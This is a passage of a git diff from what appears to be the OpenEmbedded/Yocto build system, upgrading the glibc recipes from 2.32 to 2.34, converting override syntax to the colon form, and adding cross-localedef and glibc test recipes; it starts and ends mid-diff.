-SRC_URI = "${GLIBC_GIT_URI};branch=${SRCBRANCH};name=glibc \
- git://github.com/kraj/localedef;branch=master;name=localedef;destsuffix=git/localedef \
- \
- file://0001-localedef-Add-hardlink-resolver-from-util-linux.patch \
- file://0002-localedef-fix-ups-hardlink-to-make-it-compile.patch \
- \
- file://0016-timezone-re-written-tzselect-as-posix-sh.patch \
- file://0017-Remove-bash-dependency-for-nscd-init-script.patch \
- file://0018-eglibc-Cross-building-and-testing-instructions.patch \
- file://0019-eglibc-Help-bootstrap-cross-toolchain.patch \
- file://0020-eglibc-Resolve-__fpscr_values-on-SH4.patch \
- file://0021-eglibc-Forward-port-cross-locale-generation-support.patch \
- file://0022-Define-DUMMY_LOCALE_T-if-not-defined.patch \
- file://0023-localedef-add-to-archive-uses-a-hard-coded-locale-pa.patch \
-"
-# Makes for a rather long rev (22 characters), but...
-#
-SRCREV_FORMAT = "glibc_localedef"
-
-S = "${WORKDIR}/git"
-
-EXTRA_OECONF = "--with-glibc=${S}"
-CFLAGS += "-fgnu89-inline -std=gnu99 -DIS_IN\(x\)='0'"
-
-do_install() {
- install -d ${D}${bindir}
- install -m 0755 ${B}/localedef ${D}${bindir}/cross-localedef
- install -m 0755 ${B}/cross-localedef-hardlink ${D}${bindir}/cross-localedef-hardlink
-}
diff --git a/meta/recipes-core/glibc/cross-localedef-native_2.34.bb b/meta/recipes-core/glibc/cross-localedef-native_2.34.bb
new file mode 100644
index 0000000000..c37814ee24
--- /dev/null
+++ b/meta/recipes-core/glibc/cross-localedef-native_2.34.bb
@@ -0,0 +1,54 @@
+SUMMARY = "Cross locale generation tool for glibc"
+HOMEPAGE = "http://www.gnu.org/software/libc/libc.html"
+SECTION = "libs"
+LICENSE = "LGPL-2.1"
+
+LIC_FILES_CHKSUM = "file://LICENSES;md5=1541fd8f5e8f1579512bf05f533371ba \
+ file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263 \
+ file://posix/rxspencer/COPYRIGHT;md5=dc5485bb394a13b2332ec1c785f5d83a \
+ file://COPYING.LIB;md5=4fbd65380cdd255951079008b364516c"
+
+require glibc-version.inc
+
+# Tell autotools that we're working in the localedef directory
+#
+AUTOTOOLS_SCRIPT_PATH = "${S}/localedef"
+
+inherit autotools
+inherit native
+
+FILESEXTRAPATHS =. "${FILE_DIRNAME}/${PN}:${FILE_DIRNAME}/glibc:"
+
+SRC_URI = "${GLIBC_GIT_URI};branch=${SRCBRANCH};name=glibc \
+ git://github.com/kraj/localedef;branch=master;name=localedef;destsuffix=git/localedef;protocol=https \
+ \
+ file://0001-localedef-Add-hardlink-resolver-from-util-linux.patch \
+ file://0002-localedef-fix-ups-hardlink-to-make-it-compile.patch \
+ \
+ file://0018-Remove-bash-dependency-for-nscd-init-script.patch \
+ file://0019-eglibc-Cross-building-and-testing-instructions.patch \
+ file://0020-eglibc-Help-bootstrap-cross-toolchain.patch \
+ file://0021-eglibc-Resolve-__fpscr_values-on-SH4.patch \
+ file://0022-eglibc-Forward-port-cross-locale-generation-support.patch \
+ file://0024-localedef-add-to-archive-uses-a-hard-coded-locale-pa.patch \
+ file://0001-Make-shell-interpreter-overridable-in-tzselect.ksh.patch \
+"
+# Makes for a rather long rev (22 characters), but...
+#
+SRCREV_FORMAT = "glibc_localedef"
+
+S = "${WORKDIR}/git"
+
+EXTRA_OECONF = "--with-glibc=${S}"
+
+# We do not need bash to run tzselect script, the default is to use
+# bash but it can be configured by setting KSHELL Makefile variable
+EXTRA_OEMAKE += "KSHELL=/bin/sh"
+
+CFLAGS += "-fgnu89-inline -std=gnu99 -DIS_IN\(x\)='0'"
+
+do_install() {
+ install -d ${D}${bindir}
+ install -m 0755 ${B}/localedef ${D}${bindir}/cross-localedef
+ install -m 0755 ${B}/cross-localedef-hardlink ${D}${bindir}/cross-localedef-hardlink
+}
diff --git a/meta/recipes-core/glibc/glibc-collateral.inc b/meta/recipes-core/glibc/glibc-collateral.inc
index 52880791a7..4f81f07da7 100644
--- a/meta/recipes-core/glibc/glibc-collateral.inc
+++ b/meta/recipes-core/glibc/glibc-collateral.inc
@@ -1,7 +1,7 @@
require glibc-common.inc
-LIC_FILES_CHKSUM = "file://${COMMON_LICENSE_DIR}/GPL-2.0;md5=801f80980d171dd6425610833a22dbe6 \
- file://${COMMON_LICENSE_DIR}/LGPL-2.1;md5=1a6d268fd218675ffea8be556788b780"
+LIC_FILES_CHKSUM = "file://${COMMON_LICENSE_DIR}/GPL-2.0-only;md5=801f80980d171dd6425610833a22dbe6 \
+ file://${COMMON_LICENSE_DIR}/LGPL-2.1-only;md5=1a6d268fd218675ffea8be556788b780"
deltask do_fetch
deltask do_unpack
diff --git a/meta/recipes-core/glibc/glibc-common.inc b/meta/recipes-core/glibc/glibc-common.inc
index 027c700998..f695cd6a4a 100644
--- a/meta/recipes-core/glibc/glibc-common.inc
+++ b/meta/recipes-core/glibc/glibc-common.inc
@@ -13,13 +13,13 @@ CVE_PRODUCT = "glibc"
INHIBIT_DEFAULT_DEPS = "1"
-ARM_INSTRUCTION_SET_armv4 = "arm"
-ARM_INSTRUCTION_SET_armv5 = "arm"
-ARM_INSTRUCTION_SET_armv6 = "arm"
+ARM_INSTRUCTION_SET:armv4 = "arm"
+ARM_INSTRUCTION_SET:armv5 = "arm"
+ARM_INSTRUCTION_SET:armv6 = "arm"
#
# We will skip parsing glibc when target system C library selection is not glibc
# this helps in easing out parsing for non-glibc system libraries
#
-COMPATIBLE_HOST_libc-musl_class-target = "null"
+COMPATIBLE_HOST:libc-musl:class-target = "null"
-PV = "2.32"
+PV = "2.34"
diff --git a/meta/recipes-core/glibc/glibc-ld.inc b/meta/recipes-core/glibc/glibc-ld.inc
index 041ffbb9cb..da8fcc430b 100644
--- a/meta/recipes-core/glibc/glibc-ld.inc
+++ b/meta/recipes-core/glibc/glibc-ld.inc
@@ -16,5 +16,5 @@ def glibc_dl_info(d):
EGLIBC_KNOWN_INTERPRETER_NAMES = "${@glibc_dl_info(d)['ldconfig']}"
RTLDLIST = "${@glibc_dl_info(d)['lddrewrite']}"
-RTLDLIST_class-nativesdk = "${base_libdir}/${@bb.utils.contains('SDK_ARCH', 'x86_64', 'ld-linux-x86-64.so.2', 'ld-linux.so.2', d)}"
+RTLDLIST:class-nativesdk = "${base_libdir}/${@bb.utils.contains('SDK_ARCH', 'x86_64', 'ld-linux-x86-64.so.2', 'ld-linux.so.2', d)}"
glibc_dl_info[vardepsexclude] = "OVERRIDES"
diff --git a/meta/recipes-core/glibc/glibc-locale.inc b/meta/recipes-core/glibc/glibc-locale.inc
index ef06389ff9..b8de7d3192 100644
--- a/meta/recipes-core/glibc/glibc-locale.inc
+++ b/meta/recipes-core/glibc/glibc-locale.inc
@@ -9,7 +9,7 @@ LOCALEBASEPN = "${MLPREFIX}glibc"
# ERROR: objcopy failed with exit code 127 (cmd was 'i586-webos-linux-objcopy' --only-keep-debug 'glibc-locale/2.17-r0/package/usr/lib/gconv/IBM1166.so' 'glibc-locale/2.17-r0/package/usr/lib/gconv/.debug/IBM1166.so')
# ERROR: Function failed: split_and_strip_files
BINUTILSDEP = "virtual/${MLPREFIX}${TARGET_PREFIX}binutils:do_populate_sysroot"
-BINUTILSDEP_class-nativesdk = "virtual/${TARGET_PREFIX}binutils-crosssdk:do_populate_sysroot"
+BINUTILSDEP:class-nativesdk = "virtual/${TARGET_PREFIX}binutils-crosssdk:do_populate_sysroot"
do_package[depends] += "${BINUTILSDEP}"
DEPENDS += "virtual/libc"
@@ -21,7 +21,7 @@ DEPENDS += "virtual/libc"
# default to disabled
ENABLE_BINARY_LOCALE_GENERATION ?= "0"
-ENABLE_BINARY_LOCALE_GENERATION_pn-nativesdk-glibc-locale = "1"
+ENABLE_BINARY_LOCALE_GENERATION:pn-nativesdk-glibc-locale = "1"
#enable locale generation on these arches
# BINARY_LOCALE_ARCHES is a space separated list of regular expressions
@@ -40,32 +40,32 @@ PACKAGES_DYNAMIC = "^locale-base-.* \
^${MLPREFIX}glibc-gconv$"
# Create a glibc-binaries package
-ALLOW_EMPTY_${BPN}-binaries = "1"
+ALLOW_EMPTY:${BPN}-binaries = "1"
PACKAGES += "${BPN}-binaries"
-RRECOMMENDS_${BPN}-binaries = "${@" ".join([p for p in d.getVar('PACKAGES').split() if p.find("glibc-binary") != -1])}"
+RRECOMMENDS:${BPN}-binaries = "${@" ".join([p for p in d.getVar('PACKAGES').split() if p.find("glibc-binary") != -1])}"
# Create a glibc-charmaps package
-ALLOW_EMPTY_${BPN}-charmaps = "1"
+ALLOW_EMPTY:${BPN}-charmaps = "1"
PACKAGES += "${BPN}-charmaps"
-RRECOMMENDS_${BPN}-charmaps = "${@" ".join([p for p in d.getVar('PACKAGES').split() if p.find("glibc-charmap") != -1])}"
+RRECOMMENDS:${BPN}-charmaps = "${@" ".join([p for p in d.getVar('PACKAGES').split() if p.find("glibc-charmap") != -1])}"
# Create a glibc-gconvs package
-ALLOW_EMPTY_${BPN}-gconvs = "1"
+ALLOW_EMPTY:${BPN}-gconvs = "1"
PACKAGES += "${BPN}-gconvs"
-RRECOMMENDS_${BPN}-gconvs = "${@" ".join([p for p in d.getVar('PACKAGES').split() if p.find("glibc-gconv") != -1])}"
+RRECOMMENDS:${BPN}-gconvs = "${@" ".join([p for p in d.getVar('PACKAGES').split() if p.find("glibc-gconv") != -1])}"
# Create a glibc-localedatas package
-ALLOW_EMPTY_${BPN}-localedatas = "1"
+ALLOW_EMPTY:${BPN}-localedatas = "1"
PACKAGES += "${BPN}-localedatas"
-RRECOMMENDS_${BPN}-localedatas = "${@" ".join([p for p in d.getVar('PACKAGES').split() if p.find("glibc-localedata") != -1])}"
+RRECOMMENDS:${BPN}-localedatas = "${@" ".join([p for p in d.getVar('PACKAGES').split() if p.find("glibc-localedata") != -1])}"
-DESCRIPTION_localedef = "glibc: compile locale definition files"
+DESCRIPTION:localedef = "glibc: compile locale definition files"
# glibc-gconv is dynamically added into PACKAGES, thus
-# FILES_glibc-gconv will not be automatically extended in multilib.
-# Explicitly add ${MLPREFIX} for FILES_glibc-gconv.
-FILES_${MLPREFIX}glibc-gconv = "${libdir}/gconv/*"
-FILES_localedef = "${bindir}/localedef"
+# FILES:glibc-gconv will not be automatically extended in multilib.
+# Explicitly add ${MLPREFIX} for FILES:glibc-gconv.
+FILES:${MLPREFIX}glibc-gconv = "${libdir}/gconv/*"
+FILES:localedef = "${bindir}/localedef"
LOCALETREESRC = "${COMPONENTS_DIR}/${PACKAGE_ARCH}/glibc-stash-locale"
diff --git a/meta/recipes-core/glibc/glibc-locale_2.32.bb b/meta/recipes-core/glibc/glibc-locale_2.34.bb
index f7702e0358..f7702e0358 100644
--- a/meta/recipes-core/glibc/glibc-locale_2.32.bb
+++ b/meta/recipes-core/glibc/glibc-locale_2.34.bb
diff --git a/meta/recipes-core/glibc/glibc-mtrace.inc b/meta/recipes-core/glibc/glibc-mtrace.inc
index ef9d60ec23..734a566562 100644
--- a/meta/recipes-core/glibc/glibc-mtrace.inc
+++ b/meta/recipes-core/glibc/glibc-mtrace.inc
@@ -2,8 +2,8 @@ require glibc-collateral.inc
SUMMARY = "mtrace utility provided by glibc"
DESCRIPTION = "mtrace utility provided by glibc"
-RDEPENDS_${PN} = "perl"
-RPROVIDES_${PN} = "libc-mtrace"
+RDEPENDS:${PN} = "perl"
+RPROVIDES:${PN} = "libc-mtrace"
SRC = "${COMPONENTS_DIR}/${PACKAGE_ARCH}/glibc-stash-locale/scripts"
diff --git a/meta/recipes-core/glibc/glibc-mtrace_2.32.bb b/meta/recipes-core/glibc/glibc-mtrace_2.34.bb
index 0b69bad46a..0b69bad46a 100644
--- a/meta/recipes-core/glibc/glibc-mtrace_2.32.bb
+++ b/meta/recipes-core/glibc/glibc-mtrace_2.34.bb
diff --git a/meta/recipes-core/glibc/glibc-package.inc b/meta/recipes-core/glibc/glibc-package.inc
index f7e4b59a5b..54e2a08906 100644
--- a/meta/recipes-core/glibc/glibc-package.inc
+++ b/meta/recipes-core/glibc/glibc-package.inc
@@ -1,69 +1,70 @@
INHIBIT_SYSROOT_STRIP = "1"
-PACKAGES = "${PN}-dbg catchsegv sln nscd ldconfig ldd tzcode glibc-thread-db ${PN}-pic libcidn libmemusage libnss-db libsegfault ${PN}-pcprofile libsotruss ${PN} ${PN}-utils glibc-extra-nss ${PN}-dev ${PN}-staticdev ${PN}-doc"
+PACKAGES = "${PN}-dbg catchsegv sln nscd ldconfig ldd tzcode glibc-thread-db ${PN}-pic libmemusage malloc-debug libnss-db libsegfault ${PN}-pcprofile libsotruss ${PN} ${PN}-utils glibc-extra-nss ${PN}-dev ${PN}-staticdev ${PN}-doc ${PN}-src"
# The ld.so in this glibc supports the GNU_HASH
-RPROVIDES_${PN} = "eglibc rtld(GNU_HASH)"
-RPROVIDES_${PN}-utils = "eglibc-utils"
-RPROVIDES_${PN}-mtrace = "eglibc-mtrace libc-mtrace"
-RPROVIDES_${PN}-pic = "eglibc-pic"
-RPROVIDES_${PN}-dev = "eglibc-dev libc6-dev virtual-libc-dev"
-RPROVIDES_${PN}-staticdev = "eglibc-staticdev"
-RPROVIDES_${PN}-doc = "eglibc-doc"
-RPROVIDES_glibc-extra-nss = "eglibc-extra-nss"
-RPROVIDES_glibc-thread-db = "eglibc-thread-db"
-RPROVIDES_${PN}-pcprofile = "eglibc-pcprofile"
-RPROVIDES_${PN}-dbg = "eglibc-dbg"
+RPROVIDES:${PN} = "eglibc rtld(GNU_HASH)"
+RPROVIDES:${PN}-utils = "eglibc-utils"
+RPROVIDES:${PN}-mtrace = "eglibc-mtrace libc-mtrace"
+RPROVIDES:${PN}-pic = "eglibc-pic"
+RPROVIDES:${PN}-dev = "eglibc-dev libc6-dev virtual-libc-dev"
+RPROVIDES:${PN}-staticdev = "eglibc-staticdev"
+RPROVIDES:${PN}-doc = "eglibc-doc"
+RPROVIDES:glibc-extra-nss = "eglibc-extra-nss"
+RPROVIDES:glibc-thread-db = "eglibc-thread-db"
+RPROVIDES:${PN}-pcprofile = "eglibc-pcprofile"
+RPROVIDES:${PN}-dbg = "eglibc-dbg"
libc_baselibs = "${base_libdir}/libc.so.* ${base_libdir}/libc-*.so ${base_libdir}/libm*.so.* ${base_libdir}/libm-*.so ${base_libdir}/libmvec-*.so ${base_libdir}/ld*.so.* ${base_libdir}/ld-*.so ${base_libdir}/libpthread*.so.* ${base_libdir}/libpthread-*.so ${base_libdir}/libresolv*.so.* ${base_libdir}/libresolv-*.so ${base_libdir}/librt*.so.* ${base_libdir}/librt-*.so ${base_libdir}/libutil*.so.* ${base_libdir}/libutil-*.so ${base_libdir}/libnsl*.so.* ${base_libdir}/libnsl-*.so ${base_libdir}/libnss_files*.so.* ${base_libdir}/libnss_files-*.so ${base_libdir}/libnss_compat*.so.* ${base_libdir}/libnss_compat-*.so ${base_libdir}/libnss_dns*.so.* ${base_libdir}/libnss_dns-*.so ${base_libdir}/libdl*.so.* ${base_libdir}/libdl-*.so ${base_libdir}/libanl*.so.* ${base_libdir}/libanl-*.so ${base_libdir}/libBrokenLocale*.so.* ${base_libdir}/libBrokenLocale-*.so"
ARCH_DYNAMIC_LOADER = ""
# The aarch64 ABI says the dynamic linker -must- be
# /lib/ld-linux-aarch64{,_be}.so.1. With usrmerge, that may mean that
# we need to install it in /usr/lib.
-ARCH_DYNAMIC_LOADER_aarch64 = "ld-linux-${TARGET_ARCH}.so.1"
-libc_baselibs_append = " ${@oe.utils.conditional('ARCH_DYNAMIC_LOADER', '', '', '${root_prefix}/lib/${ARCH_DYNAMIC_LOADER}', d)}"
-INSANE_SKIP_${PN}_append_aarch64 = " libdir"
-
-FILES_${PN} = "${libc_baselibs} ${libexecdir}/* ${sysconfdir}/ld.so.conf"
-RRECOMMENDS_${PN} = "${@bb.utils.contains('DISTRO_FEATURES', 'ldconfig', '${MLPREFIX}ldconfig', '', d)}"
-FILES_ldconfig = "${base_sbindir}/ldconfig"
-FILES_ldd = "${bindir}/ldd"
-FILES_libsegfault = "${base_libdir}/libSegFault*"
-FILES_libcidn = "${base_libdir}/libcidn-*.so ${base_libdir}/libcidn.so.*"
-FILES_libmemusage = "${base_libdir}/libmemusage.so"
-FILES_libnss-db = "${base_libdir}/libnss_db.so.* ${base_libdir}/libnss_db-*.so ${localstatedir}/db/Makefile ${localstatedir}/db/makedbs.sh"
-RDEPENDS_libnss-db = "${PN}-utils"
-FILES_glibc-extra-nss = "${base_libdir}/libnss_*-*.so ${base_libdir}/libnss_*.so.*"
-FILES_sln = "${base_sbindir}/sln"
-FILES_${PN}-pic = "${libdir}/*_pic.a ${libdir}/*_pic.map ${libdir}/libc_pic/*.o"
-FILES_libsotruss = "${libdir}/audit/sotruss-lib.so"
+ARCH_DYNAMIC_LOADER:aarch64 = "ld-linux-${TARGET_ARCH}.so.1"
+libc_baselibs:append = " ${@oe.utils.conditional('ARCH_DYNAMIC_LOADER', '', '', '${root_prefix}/lib/${ARCH_DYNAMIC_LOADER}', d)}"
+INSANE_SKIP:${PN}:append:aarch64 = " libdir"
+INSANE_SKIP:${PN}-dev += "staticdev"
+
+FILES:${PN} = "${libc_baselibs} ${libexecdir}/* ${sysconfdir}/ld.so.conf"
+RRECOMMENDS:${PN} = "${@bb.utils.contains('DISTRO_FEATURES', 'ldconfig', '${MLPREFIX}ldconfig', '', d)}"
+FILES:ldconfig = "${base_sbindir}/ldconfig"
+FILES:ldd = "${bindir}/ldd"
+FILES:libsegfault = "${base_libdir}/libSegFault*"
+FILES:libmemusage = "${base_libdir}/libmemusage.so"
+FILES:malloc-debug = "${base_libdir}/libc_malloc_debug.so.0"
+FILES:libnss-db = "${base_libdir}/libnss_db.so.* ${base_libdir}/libnss_db-*.so ${localstatedir}/db/Makefile ${localstatedir}/db/makedbs.sh"
+RDEPENDS:libnss-db = "${PN}-utils"
+FILES:glibc-extra-nss = "${base_libdir}/libnss_*-*.so ${base_libdir}/libnss_*.so.*"
+FILES:sln = "${base_sbindir}/sln"
+FILES:${PN}-pic = "${libdir}/*_pic.a ${libdir}/*_pic.map ${libdir}/libc_pic/*.o"
+FILES:libsotruss = "${libdir}/audit/sotruss-lib.so"
FILES_SOLIBSDEV = "${libdir}/lib*${SOLIBSDEV}"
-FILES_${PN}-dev += "${libdir}/*_nonshared.a ${base_libdir}/*_nonshared.a ${base_libdir}/*.o ${datadir}/aclocal"
-RDEPENDS_${PN}-dev = "linux-libc-headers-dev"
-FILES_${PN}-staticdev += "${libdir}/*.a ${base_libdir}/*.a"
-FILES_nscd = "${sbindir}/nscd* ${sysconfdir}/init.d/nscd ${systemd_unitdir}/system/nscd* ${sysconfdir}/tmpfiles.d/nscd.conf \
+FILES:${PN}-dev += "${libdir}/libpthread.a ${libdir}/libdl.a ${libdir}/libutil.a ${libdir}/libanl.a ${libdir}/*_nonshared.a ${base_libdir}/*_nonshared.a ${base_libdir}/*.o ${datadir}/aclocal"
+RDEPENDS:${PN}-dev = "linux-libc-headers-dev"
+FILES:${PN}-staticdev += "${libdir}/*.a ${base_libdir}/*.a"
+FILES:nscd = "${sbindir}/nscd* ${sysconfdir}/init.d/nscd ${systemd_system_unitdir}/nscd* ${sysconfdir}/tmpfiles.d/nscd.conf \
${sysconfdir}/nscd.conf ${sysconfdir}/default/volatiles/98_nscd ${localstatedir}/db/nscd"
-FILES_${PN}-mtrace = "${bindir}/mtrace"
-FILES_tzcode = "${bindir}/tzselect ${sbindir}/zic ${sbindir}/zdump"
-FILES_${PN}-utils = "${bindir}/* ${sbindir}/*"
-FILES_catchsegv = "${bindir}/catchsegv"
-RDEPENDS_catchsegv = "libsegfault"
-FILES_${PN}-pcprofile = "${base_libdir}/libpcprofile.so"
-FILES_glibc-thread-db = "${base_libdir}/libthread_db.so.* ${base_libdir}/libthread_db-*.so"
-RPROVIDES_${PN}-dev += "libc-dev"
-RPROVIDES_${PN}-staticdev += "libc-staticdev"
-
-SUMMARY_sln = "The static ln"
-DESCRIPTION_sln = "Similar to the 'ln' utility, but statically linked. sln is useful to make symbolic links to dynamic libraries if the dynamic linking system, for some reason, is not functional."
-SUMMARY_nscd = "Name service cache daemon"
-DESCRIPTION_nscd = "nscd, name service cache daemon, caches name service lookups for the passwd, group and hosts information. It can damatically improvide performance with remote, such as NIS or NIS+, name services."
-SUMMARY_glibc-extra-nss = "hesiod, NIS and NIS+ nss libraries"
-DESCRIPTION_glibc-extra-nss = "glibc: nis, nisplus and hesiod search services."
-SUMMARY_ldd = "print shared library dependencies"
-DESCRIPTION_ldd = "${bindir}/ldd prints shared library dependencies for each program or shared library specified on the command line."
-SUMMARY_${PN}-utils = "Miscellaneous utilities provided by glibc"
-DESCRIPTION_${PN}-utils = "Miscellaneous utilities including getconf, iconv, locale, gencat, ..."
-DESCRIPTION_libsotruss = "Library to support sotruss which traces calls through PLTs"
-DESCRIPTION_tzcode = "tzcode, timezone zoneinfo utils -- zic, zdump, tzselect"
+FILES:${PN}-mtrace = "${bindir}/mtrace"
+FILES:tzcode = "${bindir}/tzselect ${sbindir}/zic ${bindir}/zdump"
+FILES:${PN}-utils = "${bindir}/* ${sbindir}/*"
+FILES:catchsegv = "${bindir}/catchsegv"
+RDEPENDS:catchsegv = "libsegfault"
+FILES:${PN}-pcprofile = "${base_libdir}/libpcprofile.so"
+FILES:glibc-thread-db = "${base_libdir}/libthread_db.so.* ${base_libdir}/libthread_db-*.so"
+RPROVIDES:${PN}-dev += "libc-dev"
+RPROVIDES:${PN}-staticdev += "libc-staticdev"
+
+SUMMARY:sln = "The static ln"
+DESCRIPTION:sln = "Similar to the 'ln' utility, but statically linked. sln is useful to make symbolic links to dynamic libraries if the dynamic linking system, for some reason, is not functional."
+SUMMARY:nscd = "Name service cache daemon"
+DESCRIPTION:nscd = "nscd, name service cache daemon, caches name service lookups for the passwd, group and hosts information. It can damatically improvide performance with remote, such as NIS or NIS+, name services."
+SUMMARY:glibc-extra-nss = "hesiod, NIS and NIS+ nss libraries"
+DESCRIPTION:glibc-extra-nss = "glibc: nis, nisplus and hesiod search services."
+SUMMARY:ldd = "print shared library dependencies"
+DESCRIPTION:ldd = "${bindir}/ldd prints shared library dependencies for each program or shared library specified on the command line."
+SUMMARY:${PN}-utils = "Miscellaneous utilities provided by glibc"
+DESCRIPTION:${PN}-utils = "Miscellaneous utilities including getconf, iconv, locale, gencat, ..."
+DESCRIPTION:libsotruss = "Library to support sotruss which traces calls through PLTs"
+DESCRIPTION:tzcode = "tzcode, timezone zoneinfo utils -- zic, zdump, tzselect"
inherit multilib_header
@@ -105,8 +106,8 @@ do_install() {
sed -i "s%daemon%start-stop-daemon --start --exec%g" ${D}${sysconfdir}/init.d/nscd
sed -i "s|\(enable-cache\t\+netgroup\t\+\)yes|\1no|" ${D}${sysconfdir}/nscd.conf
- install -d ${D}${systemd_unitdir}/system
- install -m 0644 ${S}/nscd/nscd.service ${D}${systemd_unitdir}/system/
+ install -d ${D}${systemd_system_unitdir}
+ install -m 0644 ${S}/nscd/nscd.service ${D}${systemd_system_unitdir}/
# The dynamic loader will have been installed into
# ${base_libdir}. However, if that isn't going to end up being
@@ -118,6 +119,8 @@ do_install() {
ln -s ${@oe.path.relative('${root_prefix}/lib', '${base_libdir}')}/${ARCH_DYNAMIC_LOADER} \
${D}${root_prefix}/lib/${ARCH_DYNAMIC_LOADER}
fi
+ ln -rs ${D}${base_libdir}/libpthread.so.0 ${D}${libdir}/libpthread.so
+ ln -rs ${D}${base_libdir}/librt.so.1 ${D}${libdir}/librt.so
}
def get_libc_fpu_setting(bb, d):
@@ -125,7 +128,7 @@ def get_libc_fpu_setting(bb, d):
return "--without-fp"
return ""
-do_install_append_class-target() {
+do_install:append:class-target() {
if ${@bb.utils.contains('DISTRO_FEATURES', 'systemd', 'true', 'false', d)}; then
install -d ${D}${sysconfdir}/tmpfiles.d
echo "d /run/nscd 755 root root -" \
@@ -139,15 +142,15 @@ do_install_append_class-target() {
fi
}
-do_install_append_aarch64 () {
+do_install:append:aarch64 () {
do_install_armmultilib
}
-do_install_append_arm () {
+do_install:append:arm () {
do_install_armmultilib
}
-do_install_append_armeb () {
+do_install:append:armeb () {
do_install_armmultilib
}
@@ -156,6 +159,7 @@ do_install_armmultilib () {
oe_multilib_header bits/local_lim.h bits/mman.h bits/msq.h bits/pthreadtypes.h bits/pthreadtypes-arch.h bits/sem.h bits/semaphore.h bits/setjmp.h
oe_multilib_header bits/shm.h bits/sigstack.h bits/stat.h bits/statfs.h bits/typesizes.h
oe_multilib_header bits/procfs-id.h bits/procfs.h bits/shmlba.h
+ oe_multilib_header bits/struct_stat.h bits/pthread_stack_min.h
oe_multilib_header fpu_control.h gnu/lib-names.h gnu/stubs.h ieee754.h
@@ -251,26 +255,26 @@ stash_locale_package_cleanup() {
stash_locale_cleanup ${PKGD}
}
-python populate_packages_prepend () {
+python populate_packages:prepend () {
if d.getVar('DEBIAN_NAMES'):
pkgs = d.getVar('PACKAGES').split()
bpn = d.getVar('BPN')
prefix = d.getVar('MLPREFIX') or ""
# Set the base package...
- d.setVar('PKG_' + prefix + bpn, prefix + 'libc6')
+ d.setVar('PKG:' + prefix + bpn, prefix + 'libc6')
libcprefix = prefix + bpn + '-'
for p in pkgs:
# And all the subpackages.
if p.startswith(libcprefix):
renamed = p.replace(bpn, 'libc6', 1)
- d.setVar('PKG_' + p, renamed)
+ d.setVar('PKG:' + p, renamed)
# For backward compatibility with old -dbg package
- d.appendVar('RPROVIDES_' + libcprefix + 'dbg', ' ' + prefix + 'libc-dbg')
- d.appendVar('RCONFLICTS_' + libcprefix + 'dbg', ' ' + prefix + 'libc-dbg')
- d.appendVar('RREPLACES_' + libcprefix + 'dbg', ' ' + prefix + 'libc-dbg')
+ d.appendVar('RPROVIDES:' + libcprefix + 'dbg', ' ' + prefix + 'libc-dbg')
+ d.appendVar('RCONFLICTS:' + libcprefix + 'dbg', ' ' + prefix + 'libc-dbg')
+ d.appendVar('RREPLACES:' + libcprefix + 'dbg', ' ' + prefix + 'libc-dbg')
}
-pkg_postinst_nscd () {
+pkg_postinst:nscd () {
if [ -z "$D" ]; then
if command -v systemd-tmpfiles >/dev/null; then
systemd-tmpfiles --create ${sysconfdir}/tmpfiles.d/nscd.conf
@@ -279,7 +283,7 @@ pkg_postinst_nscd () {
fi
fi
}
-CONFFILES_nscd="${sysconfdir}/nscd.conf"
+CONFFILES:nscd="${sysconfdir}/nscd.conf"
SYSTEMD_PACKAGES = "nscd"
-SYSTEMD_SERVICE_nscd = "nscd.service"
+SYSTEMD_SERVICE:nscd = "nscd.service"
diff --git a/meta/recipes-core/glibc/glibc-scripts.inc b/meta/recipes-core/glibc/glibc-scripts.inc
index 14a14e4512..47216ae7d7 100644
--- a/meta/recipes-core/glibc/glibc-scripts.inc
+++ b/meta/recipes-core/glibc/glibc-scripts.inc
@@ -2,7 +2,7 @@ require glibc-collateral.inc
SUMMARY = "utility scripts provided by glibc"
DESCRIPTION = "utility scripts provided by glibc"
-RDEPENDS_${PN} = "bash glibc-mtrace"
+RDEPENDS:${PN} = "bash glibc-mtrace"
SRC = "${COMPONENTS_DIR}/${PACKAGE_ARCH}/glibc-stash-locale/scripts"
@@ -17,7 +17,7 @@ do_install() {
# sotruss script requires sotruss-lib.so (given by libsotruss package),
# to produce trace of the library calls.
-RDEPENDS_${PN} += "libsotruss"
+RDEPENDS:${PN} += "libsotruss"
# Don't scan for CVEs as glibc will be scanned
CVE_PRODUCT = ""
diff --git a/meta/recipes-core/glibc/glibc-scripts_2.32.bb b/meta/recipes-core/glibc/glibc-scripts_2.34.bb
index 5a89bd8022..5a89bd8022 100644
--- a/meta/recipes-core/glibc/glibc-scripts_2.32.bb
+++ b/meta/recipes-core/glibc/glibc-scripts_2.34.bb
diff --git a/meta/recipes-core/glibc/glibc-tests.inc b/meta/recipes-core/glibc/glibc-tests.inc
new file mode 100644
index 0000000000..a8fe160a54
--- /dev/null
+++ b/meta/recipes-core/glibc/glibc-tests.inc
@@ -0,0 +1,32 @@
+EXCLUDE_FROM_WORLD = "1"
+
+# handle PN differences
+FILESEXTRAPATHS:prepend := "${THISDIR}/glibc:"
+
+# setup depends
+INHIBIT_DEFAULT_DEPS = ""
+
+python () {
+ libc = d.getVar("PREFERRED_PROVIDER_virtual/libc")
+ libclocale = d.getVar("PREFERRED_PROVIDER_virtual/libc-locale")
+ if libc != "glibc" or libclocale != "glibc-locale":
+ raise bb.parse.SkipRecipe("glibc-testsuite requires that virtual/libc is glibc")
+}
+
+DEPENDS += "glibc-locale libgcc gcc-runtime"
+
+# remove the initial depends
+DEPENDS:remove = "libgcc-initial"
+
+do_check[dirs] += "${B}"
+do_check () {
+ # clean out previous test results
+ oe_runmake tests-clean
+ # makefiles don't clean entirely (and also sometimes fails due to too many args)
+ find ${B} -type f -name "*.out" -delete
+ find ${B} -type f -name "*.test-result" -delete
+ find ${B}/catgets -name "*.cat" -delete
+ find ${B}/conform -name "symlist-*" -delete
+ [ ! -e ${B}/timezone/testdata ] || rm -rf ${B}/timezone/testdata
+}
+addtask do_check after do_compile
diff --git a/meta/recipes-core/glibc/glibc-tests_2.34.bb b/meta/recipes-core/glibc/glibc-tests_2.34.bb
new file mode 100644
index 0000000000..9cbf8776dd
--- /dev/null
+++ b/meta/recipes-core/glibc/glibc-tests_2.34.bb
@@ -0,0 +1,115 @@
+require glibc_${PV}.bb
+require glibc-tests.inc
+
+inherit ptest
+
+SRC_URI:append = " \
+ file://run-ptest \
+"
+
+SUMMARY = "glibc tests to be run with ptest"
+
+# Erase some variables already set by glibc_${PV}
+python __anonymous() {
+ # Remove packages provided by glibc build, we only need a subset of them
+ d.setVar("PACKAGES", "${PN} ${PN}-ptest")
+
